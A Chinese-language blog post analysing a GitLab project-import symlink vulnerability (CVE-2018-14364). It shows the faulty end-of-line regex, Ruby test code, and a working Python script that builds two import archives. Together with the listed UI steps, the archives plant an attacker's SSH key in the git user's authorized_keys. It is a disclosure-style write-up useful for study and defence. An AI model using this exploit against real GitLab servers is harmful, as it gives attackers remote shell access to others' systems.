Chybeta

GitLab远程代码执行漏洞分析 -【CVE-2018-14364】

GitLab远程代码执行漏洞分析 -【CVE-2018-14364】

漏洞公告

2018年7月17日,Gitlab官方发布安全更新版本,修复了一个远程命令执行漏洞,CVE ID为CVE-2018-14364,该漏洞由长亭研究人员发现,并在hackerone平台提交

1.jpg

影响版本:>= 8.9.0
修复版本:11.0.4, 10.8.6, and 10.7.7

漏洞分析

以版本11.0.3为例。根据版本源码对比

从CHANGELOG.md中得知为Fix symlink vulnerability in project import

主要修改的代码文件为lib/gitlab/import_export/file_importer.rb

2.jpg

主要关注一下extracted_files

当我们import一个项目时,会进入到file_import.rb。然后调用第17行的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def import
mkdir_p(@shared.export_path)
remove_symlinks!
wait_for_archived_file do
decompress_archive
end
rescue => e
@shared.error(e)
false
ensure
remove_symlinks!
end

remove_symlinks用于删除导入文件中存在的符号链接。此前gitlab就因为符号链接的问题爆出过多个RCE问题,因此在这里做了检查:

1
2
3
4
5
6
7
def remove_symlinks!
extracted_files.each do |path|
FileUtils.rm(path) if File.lstat(path).symlink?
end
true
end

extracted_files定义在61行,这个方法用于列出解压出来的所有文件。

1
2
3
def extracted_files
Dir.glob("#{@shared.export_path}/**/*", File::FNM_DOTMATCH).reject { |f| f =~ %r{.*/\.{1,2}$} }
end

ruby中,关于正则表达式的符号定义如下:

3.jpg

也就是说%r{.*/\.{1,2}$}这个正则表达式最后的$只能匹配到一行的末尾(Matches end of line),而不是整个字符串的末尾(Matches end of string)。

根据POSIX 标准,对于文件名(filename)除了slash character/和null byte NULL外,其余字符均可以:

4.jpg

所以只要创建一个名字以\n开头的符号链接文件,就无法被extracted_files列出。

回到版本源码对比,在测试文件file_importer_spec.rb里:

5.jpg

因此构建测试环境:

1
2
3
4
5
6
7
8
9
10
require "tmpdir"
puts "The temp dir is: #{Dir.tmpdir}"
export_path="#{Dir.tmpdir}/file_importer"
evil_symlink_file="#{export_path}/.\nevil"
valid_file="#{export_path}/valid.json"
FileUtils.mkdir_p("#{export_path}/subfolder/")
FileUtils.touch(valid_file)
FileUtils.ln_s(valid_file, evil_symlink_file)

6.jpg

可以看到原本的正则表达式是无法检测到\nevil文件的:

7.jpg

利用过程

提供一下压缩包生成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import os
import shutil
def step_one():
os.chdir(uploads_dir)
gitlab_dir = "/var/opt/gitlab"
evil_symlink_name = ".\nevil"
os.symlink(gitlab_dir, evil_symlink_name)
os.chdir(exp_dir)
os.system("tar -czf ../step1.tar.gz . && rm -r uploads && mkdir uploads")
def step_two():
os.chdir(uploads_dir)
evil_ssh_dir_name = ".\nevil/.ssh"
os.makedirs(evil_ssh_dir_name)
evil_dir = os.getcwd() + "/" + evil_ssh_dir_name
os.chdir(evil_dir)
shutil.copy(authorized_keys,"authorized_keys")
os.chdir(exp_dir)
os.system("tar -czf ../step2.tar.gz . && rm -r uploads && mkdir uploads")
if __name__ == '__main__':
uploads_dir = os.getcwd() + "/evil/uploads"
exp_dir = os.getcwd() + "/evil"
authorized_keys = os.getcwd() + "/key.pub"
step_one()
step_two()

13.jpg

key.pub里保存公钥。其余文件见文末附件压缩包。

创建项目project ,选择Import project后选择Import an exported GitLab project

8.jpg

待导入成功后,如下图:

9.jpg

注意此时的项目名为test,同时右下角有一个Remove project,点击删除掉project,然而此时在gitlab的目录下,test还没有被删除。

新建一个project,仍然采用Import an exported GitLab project,然后上传第二个压缩包

11.jpg

第二个压缩包的内容如下,\nevil是目录名

1
2
3
4
5
6
VERSION
project.json
uploads/
uploads/.\nevil/
uploads/.\nevil/.ssh/
uploads/.\nevil/.ssh/authorized_keys

gitlab在解压第二个压缩包时,会尝试往目录\nevil里写入.ssh/authorized_keys,而由于上一步的符号链接\nevil没有删除,所以实际写入的目录是/var/opt/gitlab/.ssh/authorized_keys

12.jpg

可以看到authorized_keys已经被写入了公钥。此后用用户名git和公钥对应的私钥直接ssh连接服务器即可。

Reference

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:GitLab远程代码执行漏洞分析 -【CVE-2018-14364】

文章作者:chybeta

发布时间:2018年09月10日 - 08:09

最后更新:2018年09月10日 - 08:09

原始链接:http://chybeta.github.io/2018/09/10/GitLab远程代码执行漏洞分析-【CVE-2018-14364】/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。